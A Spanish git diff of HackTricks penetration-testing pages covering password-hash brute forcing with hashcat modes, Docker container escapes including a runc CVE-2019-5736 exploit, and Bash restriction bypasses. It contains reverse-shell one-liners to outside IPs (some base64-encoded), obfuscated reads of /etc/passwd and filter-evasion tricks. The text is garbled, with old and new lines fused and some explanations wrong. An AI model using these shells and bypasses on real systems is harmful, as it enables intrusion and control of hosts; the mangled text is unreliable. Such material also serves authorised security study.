## Ataque de Fuerza Bruta ## Ataque de Fuerza Bruta
El ataque de fuerza bruta es un método utilizado para descifrar contraseñas probando todas las combinaciones posibles hasta encontrar la correcta. En el contexto de descifrar hashes de contraseñas, esto implica generar hashes para todas las posibles contraseñas y compararlos con el hash objetivo. El ataque de fuerza bruta es un método utilizado para descifrar contraseñas probando todas las combinaciones posibles hasta encontrar la correcta. En el contexto de descifrar hashes de contraseñas de Linux, esto implica generar hashes para todas las posibles contraseñas y compararlos con los hashes almacenados en el archivo `/etc/shadow`.
Existen varias herramientas disponibles para realizar ataques de fuerza bruta en hashes de Linux, como John the Ripper, Hashcat, etc. Estas herramientas utilizan diccionarios de contraseñas predefinidos o generan combinaciones de contraseñas basadas en reglas específicas. Existen varias herramientas disponibles para realizar ataques de fuerza bruta en hashes de Linux, como John the Ripper, Hashcat, etc. Estas herramientas utilizan diccionarios de contraseñas predefinidos o generan combinaciones de contraseñas basadas en reglas específicas.
## Recursos Adicionales ## Diccionarios de Contraseñas
Además de las herramientas mencionadas anteriormente, existen otros recursos que pueden ser útiles para descifrar hashes de Linux: Un diccionario de contraseñas es una lista de palabras o combinaciones de palabras que se utilizan para probar contraseñas durante un ataque de fuerza bruta. Estos diccionarios pueden ser generados por el atacante o descargados de fuentes públicas.
- **Diccionarios de contraseñas**: Estos archivos contienen una lista de palabras comunes, combinaciones de palabras y contraseñas filtradas de filtraciones de datos anteriores. Pueden ser utilizados por las herramientas de fuerza bruta para probar combinaciones de contraseñas. Es importante tener en cuenta que los diccionarios de contraseñas deben ser lo más exhaustivos posible, ya que las contraseñas comunes o predecibles son las primeras en ser probadas durante un ataque de fuerza bruta.
- **Reglas de generación de contraseñas**: Estas reglas especifican patrones o transformaciones que se aplican a las palabras o combinaciones de palabras para generar contraseñas. Por ejemplo, se pueden agregar números o símbolos al final de una palabra para generar diferentes combinaciones.
- **Potencia de cómputo**: El tiempo necesario para descifrar un hash de Linux depende de la potencia de cómputo disponible. Cuanto más potente sea el sistema utilizado para realizar el ataque, más rápido se podrá descifrar el hash.
## Conclusiones ## Reglas de Generación de Contraseñas
El descifrado de hashes de contraseñas en el archivo `/etc/shadow` de Linux mediante ataques de fuerza bruta es una técnica comúnmente utilizada. Sin embargo, es importante tener en cuenta que esta técnica puede llevar mucho tiempo y recursos, especialmente si las contraseñas son complejas y se utilizan algoritmos de hash seguros. Además, es fundamental respetar las leyes y regulaciones aplicables al realizar pruebas de penetración y asegurarse de tener permiso para realizar estas actividades. Además de los diccionarios de contraseñas, las herramientas de fuerza bruta también pueden utilizar reglas de generación de contraseñas. Estas reglas definen patrones o transformaciones que se aplican a las palabras del diccionario para generar combinaciones adicionales.
Algunas reglas comunes incluyen la adición de números o símbolos al final de las palabras, la sustitución de letras por números o símbolos similares, la inversión de palabras, entre otras.
## Consideraciones de Seguridad
Es importante tener en cuenta que el uso de contraseñas seguras y robustas es fundamental para proteger los sistemas. Los administradores de sistemas deben implementar políticas de contraseñas que requieran una combinación de letras mayúsculas y minúsculas, números y símbolos, y evitar el uso de contraseñas comunes o predecibles.
Además, es recomendable utilizar funciones de hash más seguras, como SHA-512, en lugar de algoritmos más débiles como MD5. Esto dificulta aún más el proceso de descifrado de los hashes de contraseñas.
En resumen, el ataque de fuerza bruta es una técnica comúnmente utilizada para descifrar hashes de contraseñas de Linux almacenados en el archivo `/etc/shadow`. Los diccionarios de contraseñas y las reglas de generación de contraseñas son herramientas clave en este tipo de ataques. Sin embargo, es fundamental implementar contraseñas seguras y utilizar algoritmos de hash más fuertes para garantizar la seguridad de los sistemas.
``` ```
500 | md5crypt $1$, MD5(Unix) | Operating-Systems 500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
@ -1259,27 +1227,29 @@ El descifrado de hashes de contraseñas en el archivo `/etc/shadow` de Linux med
``` ```
# Fuerza bruta # Fuerza bruta
La fuerza bruta es una técnica comúnmente utilizada para descifrar contraseñas en sistemas Windows. Consiste en probar todas las combinaciones posibles de caracteres hasta encontrar la contraseña correcta. Aunque es un método lento y consume muchos recursos, puede ser efectivo si se utiliza correctamente. La fuerza bruta es una técnica comúnmente utilizada para descifrar contraseñas en sistemas Windows. Consiste en probar todas las combinaciones posibles de contraseñas hasta encontrar la correcta. Aunque es un método lento y consume muchos recursos, puede ser efectivo en ciertos casos.
## Herramientas de fuerza bruta ## Herramientas de fuerza bruta
Existen varias herramientas de fuerza bruta disponibles que pueden ayudar en el proceso de descifrado de contraseñas de Windows. Algunas de las herramientas más populares incluyen: Existen varias herramientas de fuerza bruta disponibles que pueden ayudarte en el proceso de descifrado de contraseñas de Windows. Algunas de las más populares son:
- **John the Ripper**: una herramienta de descifrado de contraseñas que admite una amplia gama de algoritmos de hash utilizados en Windows. - **John the Ripper**: una herramienta de código abierto que puede descifrar contraseñas utilizando ataques de fuerza bruta y otros métodos.
- **Hashcat**: una herramienta de descifrado de contraseñas de alto rendimiento que utiliza la potencia de procesamiento de la GPU para acelerar el proceso de fuerza bruta. - **Hashcat**: una herramienta de descifrado de contraseñas de alto rendimiento que admite una amplia gama de algoritmos de hash.
- **Cain & Abel**: una herramienta de recuperación de contraseñas que también incluye capacidades de fuerza bruta. - **Cain & Abel**: una herramienta de recuperación de contraseñas que también puede realizar ataques de fuerza bruta.
## Ataques de fuerza bruta ## Ataques de fuerza bruta
Existen diferentes tipos de ataques de fuerza bruta que se pueden utilizar para descifrar contraseñas de Windows. Algunos de los ataques más comunes incluyen: Existen diferentes tipos de ataques de fuerza bruta que puedes utilizar para descifrar contraseñas de Windows:
- **Ataque de diccionario**: este tipo de ataque utiliza una lista predefinida de palabras o combinaciones de palabras para probar como contraseñas. - **Ataque de diccionario**: este tipo de ataque utiliza una lista de palabras comunes o contraseñas conocidas para probar combinaciones.
- **Ataque de fuerza bruta pura**: en este tipo de ataque, se prueban todas las combinaciones posibles de caracteres hasta encontrar la contraseña correcta. - **Ataque de fuerza bruta pura**: en este tipo de ataque, se prueban todas las combinaciones posibles de caracteres hasta encontrar la contraseña correcta.
- **Ataque de fuerza bruta híbrida**: este tipo de ataque combina un ataque de diccionario con un ataque de fuerza bruta pura, lo que permite probar una amplia gama de combinaciones posibles. - **Ataque de fuerza bruta híbrida**: este tipo de ataque combina un ataque de diccionario con un ataque de fuerza bruta pura, lo que permite probar una amplia gama de combinaciones.
## Consideraciones de seguridad ## Consideraciones de seguridad
Es importante tener en cuenta que el uso de la fuerza bruta para descifrar contraseñas es una actividad ilegal sin el consentimiento del propietario del sistema. Además, este método puede ser detectado por sistemas de seguridad y bloqueado. Por lo tanto, se recomienda utilizar estas técnicas solo con fines legales y éticos, como parte de una evaluación de seguridad autorizada o una prueba de penetración. Es importante tener en cuenta que el uso de la fuerza bruta para descifrar contraseñas es una actividad ilegal sin el consentimiento del propietario del sistema. Además, muchos sistemas implementan medidas de seguridad para detectar y bloquear ataques de fuerza bruta.
Siempre es recomendable obtener el permiso adecuado y utilizar estas técnicas solo con fines legítimos, como pruebas de penetración autorizadas o auditorías de seguridad.
``` ```
3000 | LM | Operating-Systems 3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems 1000 | NTLM | Operating-Systems
@ -1294,23 +1264,23 @@ Existen varias herramientas populares que se pueden utilizar para realizar ataqu
- **John the Ripper**: una herramienta de cracking de contraseñas que admite una amplia variedad de formatos de hash. - **John the Ripper**: una herramienta de cracking de contraseñas que admite una amplia variedad de formatos de hash.
- **Hashcat**: una herramienta de cracking de contraseñas que utiliza la potencia de procesamiento de la GPU para acelerar el proceso de fuerza bruta. - **Hashcat**: una herramienta de cracking de contraseñas que utiliza la potencia de procesamiento de la GPU para acelerar el proceso de fuerza bruta.
- **Medusa**: una herramienta de fuerza bruta que admite varios protocolos y servicios, como SSH, FTP y HTTP. - **Hydra**: una herramienta de cracking de contraseñas en línea que puede realizar ataques de fuerza bruta en servicios como SSH, FTP, HTTP, entre otros.
## Diccionarios de Contraseñas ## Diccionarios de Contraseñas
Además de las herramientas de fuerza bruta, también es importante contar con diccionarios de contraseñas. Estos diccionarios contienen una lista de palabras comunes, combinaciones de palabras y patrones que se utilizan con frecuencia como contraseñas. Algunos ejemplos de diccionarios de contraseñas incluyen: Además de las herramientas de fuerza bruta, también es importante contar con diccionarios de contraseñas. Estos diccionarios contienen una lista de palabras comunes, combinaciones de palabras y patrones que se utilizan con frecuencia como contraseñas. Algunos ejemplos de diccionarios populares son:
- **RockYou**: un diccionario de contraseñas que contiene millones de contraseñas filtradas de una brecha de seguridad en el sitio web RockYou. - **RockYou**: un diccionario de contraseñas que contiene millones de contraseñas filtradas de una brecha de seguridad.
- **SecLists**: una colección de diccionarios de contraseñas y otros archivos relacionados con la seguridad. - **SecLists**: una colección de diccionarios y listas de palabras utilizadas en ataques de fuerza bruta.
## Recursos Adicionales ## Recursos Adicionales
Además de las herramientas y diccionarios mencionados anteriormente, también existen otros recursos que pueden ser útiles durante un ataque de fuerza bruta. Algunos de ellos incluyen: Además de las herramientas y diccionarios mencionados anteriormente, existen otros recursos que pueden ser útiles durante un ataque de fuerza bruta. Algunos de ellos incluyen:
- **Rainbow tables**: tablas precalculadas que contienen pares de valores hash y contraseñas correspondientes, lo que acelera el proceso de descifrado. - **Rainbow tables**: tablas precalculadas que contienen pares de valores hash y contraseñas correspondientes, lo que acelera el proceso de descifrado.
- **Servicios en la nube**: algunos proveedores de servicios en la nube ofrecen servicios de cracking de contraseñas en la nube, lo que permite aprovechar la potencia de procesamiento distribuida para acelerar el proceso de fuerza bruta. - **Servicios en la nube**: algunos proveedores de servicios en la nube ofrecen plataformas de cracking de contraseñas como un servicio, lo que permite aprovechar la potencia de procesamiento de sus servidores.
Es importante tener en cuenta que la fuerza bruta es una técnica que puede llevar mucho tiempo y recursos, especialmente si las contraseñas son largas y complejas. Además, es importante asegurarse de tener permiso legal para realizar cualquier tipo de ataque de fuerza bruta. Es importante tener en cuenta que la fuerza bruta es un método intensivo en recursos y puede llevar mucho tiempo, especialmente si se utilizan contraseñas complejas. Además, es una técnica que puede ser detectada por sistemas de seguridad y bloqueada. Por lo tanto, se recomienda utilizarla con precaución y solo con fines legales y éticos, como parte de una evaluación de seguridad autorizada.
``` ```
900 | MD4 | Raw Hash 900 | MD4 | Raw Hash
0 | MD5 | Raw Hash 0 | MD5 | Raw Hash
@ -1326,7 +1296,7 @@ Es importante tener en cuenta que la fuerza bruta es una técnica que puede llev
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. * **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
@ -1335,7 +1305,7 @@ Es importante tener en cuenta que la fuerza bruta es una técnica que puede llev
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -15,7 +15,7 @@
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -357,7 +357,7 @@ Sin embargo, puedes encontrar **otros archivos sensibles** para verificar en est
### Montajes arbitrarios ### Montajes arbitrarios
En varias ocasiones, encontrarás que el **contenedor tiene algún volumen montado desde el host**. Si este volumen no está configurado correctamente, es posible que puedas **acceder/modificar datos sensibles**: leer secretos, cambiar las claves autorizadas de SSH... En varias ocasiones, encontrarás que el **contenedor tiene algún volumen montado desde el host**. Si este volumen no se configuró correctamente, es posible que puedas **acceder/modificar datos sensibles**: leer secretos, cambiar las claves autorizadas de SSH...
```bash ```bash
docker run --rm -it -v /:/host ubuntu bash docker run --rm -it -v /:/host ubuntu bash
``` ```
@ -468,10 +468,10 @@ También podrás acceder a los **servicios de red enlazados a localhost** dentro
``` ```
docker run --rm -it --ipc=host ubuntu bash docker run --rm -it --ipc=host ubuntu bash
``` ```
Si solo tienes `hostIPC=true`, es probable que no puedas hacer mucho. Si algún proceso en el host o cualquier proceso dentro de otro pod está utilizando los **mecanismos de comunicación interproceso** del host (memoria compartida, matrices de semáforos, colas de mensajes, etc.), podrás leer/escribir en esos mismos mecanismos. El primer lugar donde debes buscar es `/dev/shm`, ya que es compartido entre cualquier pod con `hostIPC=true` y el host. También debes verificar los otros mecanismos de IPC con `ipcs`. Si solo tienes `hostIPC=true`, es probable que no puedas hacer mucho. Si algún proceso en el host o cualquier proceso dentro de otro pod está utilizando los **mecanismos de comunicación interproceso** del host (memoria compartida, matrices de semáforos, colas de mensajes, etc.), podrás leer/escribir en esos mismos mecanismos. El primer lugar donde debes buscar es `/dev/shm`, ya que es compartido entre cualquier pod con `hostIPC=true` y el host. También debes verificar los otros mecanismos IPC con `ipcs`.
* **Inspeccionar /dev/shm** - Busca cualquier archivo en esta ubicación de memoria compartida: `ls -la /dev/shm` * **Inspeccionar /dev/shm** - Busca cualquier archivo en esta ubicación de memoria compartida: `ls -la /dev/shm`
* **Inspeccionar las instalaciones de IPC existentes** - Puedes verificar si se están utilizando instalaciones de IPC con `/usr/bin/ipcs`. Verifícalo con: `ipcs -a` * **Inspeccionar las instalaciones IPC existentes** - Puedes verificar si se están utilizando instalaciones IPC con `/usr/bin/ipcs`. Verifícalo con: `ipcs -a`
### Recuperar capacidades ### Recuperar capacidades
@ -487,7 +487,7 @@ La segunda técnica explicada en el artículo [https://labs.f-secure.com/blog/ab
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
Utilice [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.\ Utilice [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.\
Obtenga acceso hoy mismo: Obtenga acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -496,7 +496,7 @@ Obtenga acceso hoy mismo:
### Exploit de Runc (CVE-2019-5736) ### Exploit de Runc (CVE-2019-5736)
En caso de que pueda ejecutar `docker exec` como root (probablemente con sudo), puede intentar escalar privilegios escapando de un contenedor abusando de CVE-2019-5736 (exploit [aquí](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Esta técnica básicamente **sobrescribe** el binario _**/bin/sh**_ del **host** **desde un contenedor**, por lo que cualquier persona que ejecute docker exec puede activar la carga útil. En caso de que pueda ejecutar `docker exec` como root (probablemente con sudo), intente escalar privilegios escapando de un contenedor abusando de CVE-2019-5736 (exploit [aquí](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Esta técnica básicamente **sobrescribe** el binario _**/bin/sh**_ del **host** **desde un contenedor**, por lo que cualquier persona que ejecute docker exec puede activar la carga útil.
Cambie la carga útil según sea necesario y compile main.go con `go build main.go`. El binario resultante debe colocarse en el contenedor de Docker para su ejecución.\ Cambie la carga útil según sea necesario y compile main.go con `go build main.go`. El binario resultante debe colocarse en el contenedor de Docker para su ejecución.\
Al ejecutarlo, tan pronto como muestre `[+] Overwritten /bin/sh successfully`, debe ejecutar lo siguiente desde la máquina host: Al ejecutarlo, tan pronto como muestre `[+] Overwritten /bin/sh successfully`, debe ejecutar lo siguiente desde la máquina host:
@ -515,7 +515,7 @@ Existen otras CVE a las que el contenedor puede ser vulnerable, puede encontrar
### Superficie de escape de Docker ### Superficie de escape de Docker
* **Namespaces:** El proceso debe estar **completamente separado de otros procesos** a través de los espacios de nombres, por lo que no podemos escapar interactuando con otros procesos debido a los espacios de nombres (por defecto, no se puede comunicar a través de IPC, sockets Unix, servicios de red, D-Bus, `/proc` de otros procesos). * **Namespaces:** El proceso debe estar **completamente separado de otros procesos** a través de los espacios de nombres, por lo que no podemos escapar interactuando con otros procesos debido a los espacios de nombres (por defecto no se puede comunicar a través de IPC, sockets Unix, servicios de red, D-Bus, `/proc` de otros procesos).
* **Usuario root**: Por defecto, el usuario que ejecuta el proceso es el usuario root (sin embargo, sus privilegios están limitados). * **Usuario root**: Por defecto, el usuario que ejecuta el proceso es el usuario root (sin embargo, sus privilegios están limitados).
* **Capacidades**: Docker deja las siguientes capacidades: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` * **Capacidades**: Docker deja las siguientes capacidades: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
* **Syscalls**: Estos son los syscalls que el **usuario root no podrá llamar** (debido a la falta de capacidades + Seccomp). Los otros syscalls podrían ser utilizados para intentar escapar. * **Syscalls**: Estos son los syscalls que el **usuario root no podrá llamar** (debido a la falta de capacidades + Seccomp). Los otros syscalls podrían ser utilizados para intentar escapar.
@ -628,7 +628,7 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today: Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -15,7 +15,7 @@
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -30,15 +30,17 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|
``` ```
### Shell inversa corta ### Shell inversa corta
La siguiente es una shell inversa corta que se puede utilizar para establecer una conexión remota con un sistema comprometido: Una shell inversa corta es una técnica utilizada en hacking para establecer una conexión remota a través de una shell inversa en un sistema comprometido. Esto permite al atacante obtener acceso y control total sobre el sistema comprometido.
La siguiente es una implementación básica de una shell inversa corta en Bash:
```bash ```bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i >& /dev/tcp/10.0.0.1/1234 0>&1
``` ```
Este comando redirige la entrada y salida estándar de Bash hacia un socket TCP en la dirección IP `10.0.0.1` y el puerto `8080`. Esto permite que un atacante establezca una conexión remota con el sistema comprometido y ejecute comandos en él. En este ejemplo, la shell inversa se establece redirigiendo la entrada y salida estándar a través de un socket TCP en la dirección IP `10.0.0.1` y el puerto `1234`. Esto permite al atacante interactuar con el sistema comprometido a través de comandos Bash.
Es importante tener en cuenta que este comando puede no funcionar en todos los sistemas, ya que algunos pueden tener restricciones de seguridad que bloquean este tipo de conexiones. Además, es fundamental utilizarlo de manera ética y legal, solo en sistemas en los que se tenga permiso para hacerlo, como parte de una evaluación de seguridad o pruebas de penetración autorizadas. Es importante tener en cuenta que esta técnica puede ser detectada por sistemas de seguridad y firewalls, por lo que se recomienda utilizar técnicas más avanzadas y sigilosas para evitar ser detectado.
```bash ```bash
#Trick from Dikline #Trick from Dikline
#Get a rev shell with #Get a rev shell with
@ -48,21 +50,29 @@ exec >&0
``` ```
### Bypass de rutas y palabras prohibidas ### Bypass de rutas y palabras prohibidas
En algunas situaciones, es posible que te encuentres con restricciones en el uso de ciertas rutas o palabras en un entorno de Linux. Sin embargo, existen formas de eludir estas restricciones y lograr tus objetivos. A continuación, se presentan algunos comandos útiles para lograrlo: Cuando se realiza una prueba de penetración en un sistema Linux, es posible encontrarse con restricciones de seguridad que limitan el acceso a ciertos directorios o palabras clave. Sin embargo, existen formas de eludir estas restricciones utilizando comandos específicos de Linux.
#### Bypass de rutas #### Bypass de rutas
- **cd -P**: Este comando te permite seguir una ruta física en lugar de una ruta simbólica. Puedes utilizarlo para evitar restricciones de rutas simbólicas y acceder a ubicaciones no permitidas. Si se encuentra con una restricción que impide el acceso a un directorio específico, puede intentar eludirla utilizando una ruta alternativa. A continuación se muestra un ejemplo de cómo hacerlo:
- **ln -s /ruta/prohibida /ruta/permitida**: Con este comando, puedes crear un enlace simbólico desde una ruta permitida hacia una ruta prohibida. De esta manera, podrás acceder a la ubicación restringida a través de la ruta permitida. ```bash
cd /home/user/../restricted_directory
```
En este ejemplo, se utiliza `..` para retroceder un nivel en la jerarquía de directorios y luego acceder al directorio restringido. Esto puede funcionar si la restricción se basa en la ruta absoluta del directorio.
#### Bypass de palabras prohibidas #### Bypass de palabras prohibidas
- **mv /ruta/archivo /ruta/archivo_nopermitido**: Utiliza este comando para cambiar el nombre de un archivo o directorio. Puedes renombrar un archivo o directorio con un nombre que no esté en la lista de palabras prohibidas, lo que te permitirá evitar las restricciones. En algunos casos, es posible que se le impida ejecutar comandos que contengan ciertas palabras clave. Sin embargo, puede intentar eludir esta restricción utilizando sinónimos o comandos alternativos. Aquí hay un ejemplo:
- **cp /ruta/archivo /ruta/archivo_nopermitido**: Con este comando, puedes copiar un archivo o directorio a una ubicación con un nombre no permitido. Al hacerlo, podrás sortear las restricciones y acceder a la ubicación deseada. ```bash
cat /etc/passwd | grep -v "restricted_word"
```
Recuerda que eludir restricciones puede ser considerado una actividad ilegal o no ética, por lo que debes utilizar estos comandos con responsabilidad y solo en entornos autorizados. En este ejemplo, se utiliza el comando `grep` con la opción `-v` para excluir cualquier línea que contenga la "palabra restringida". Esto puede permitirle obtener información o ejecutar comandos que de otro modo estarían prohibidos.
Es importante tener en cuenta que eludir restricciones de seguridad puede ser ilegal y solo debe hacerse con el permiso explícito del propietario del sistema.
```bash ```bash
# Question mark binary substitution # Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping /usr/bin/p?ng # /usr/bin/ping
@ -212,29 +222,64 @@ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
``` ```
### Bypassar tuberías ### Bypassar tuberías
Las restricciones de Bash a menudo pueden evitar el uso de ciertos caracteres especiales, como las tuberías (`|`). Sin embargo, hay formas de eludir estas restricciones y utilizar tuberías en comandos de Bash. Las restricciones de Bash a veces pueden dificultar el uso de ciertos comandos o técnicas de hacking. Sin embargo, hay formas de eludir estas restricciones y aprovechar al máximo las tuberías en Bash.
Una forma de hacerlo es utilizando el comando `echo` para imprimir el contenido que deseamos pasar a través de la tubería y luego redirigirlo a otro comando. Por ejemplo, en lugar de usar `ls | grep archivo`, podemos usar `echo archivo | grep $(cat)` para lograr el mismo resultado. Una forma común de eludir las restricciones de Bash es utilizando el comando `sh`. Puedes usar `sh` para ejecutar comandos en un subshell y luego redirigir la salida a través de una tubería. Aquí tienes un ejemplo:
Otra técnica es utilizar el comando `printf` en lugar de `echo`. Por ejemplo, en lugar de `echo archivo | grep palabra`, podemos usar `printf "archivo\n" | grep palabra`. ```bash
sh -c 'comando1 | comando2'
```
Estas técnicas nos permiten sortear las restricciones de Bash y utilizar tuberías en comandos donde normalmente no serían permitidas. En este ejemplo, `comando1` se ejecuta en un subshell utilizando `sh -c`, y luego su salida se redirige a `comando2` a través de la tubería.
Otra forma de eludir las restricciones de Bash es utilizando el comando `eval`. `eval` evalúa y ejecuta una cadena como si fuera un comando. Puedes usar `eval` para ejecutar comandos que contengan tuberías. Aquí tienes un ejemplo:
```bash
eval "comando1 | comando2"
```
En este ejemplo, la cadena `"comando1 | comando2"` se evalúa y se ejecuta como un comando, lo que permite el uso de tuberías.
Recuerda que eludir las restricciones de Bash puede ser riesgoso y debe hacerse con precaución. Asegúrate de comprender completamente los comandos que estás ejecutando y las implicaciones de seguridad asociadas.
```bash ```bash
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
``` ```
### Bypass con codificación hexadecimal ### Bypass con codificación hexadecimal
Si un sistema tiene restricciones que bloquean ciertos caracteres o comandos en Bash, puedes intentar eludir estas restricciones utilizando la codificación hexadecimal. La codificación hexadecimal representa caracteres utilizando una combinación de números y letras, lo que puede permitirte ejecutar comandos que de otra manera estarían bloqueados. A veces, los sistemas pueden tener restricciones que impiden la ejecución de ciertos comandos en Bash. Sin embargo, es posible eludir estas restricciones utilizando la codificación hexadecimal.
Aquí hay un ejemplo de cómo usar la codificación hexadecimal para ejecutar un comando bloqueado: La codificación hexadecimal es un método que convierte caracteres en su representación hexadecimal. Esto significa que cada carácter se representa por dos dígitos hexadecimales.
```bash Para utilizar la codificación hexadecimal y eludir las restricciones de Bash, sigue estos pasos:
$ echo -e "\x6c\x73"
```
En este ejemplo, el comando `echo -e` se utiliza para imprimir los caracteres representados por la codificación hexadecimal `\x6c\x73`. Estos caracteres representan la cadena "ls". Al ejecutar este comando, se mostrará el contenido del directorio actual, incluso si el comando `ls` está bloqueado. 1. Encuentra el comando que deseas ejecutar en Bash.
2. Convierte cada carácter del comando en su representación hexadecimal utilizando una tabla de conversión hexadecimal.
3. Reemplaza cada carácter del comando con su representación hexadecimal.
4. Ejecuta el comando codificado en Bash.
Recuerda que la codificación hexadecimal solo puede eludir restricciones que se basen en bloquear caracteres o comandos específicos. No funcionará si el sistema tiene restricciones más avanzadas o si se han implementado medidas de seguridad adicionales. Aquí tienes un ejemplo para ilustrar cómo funciona:
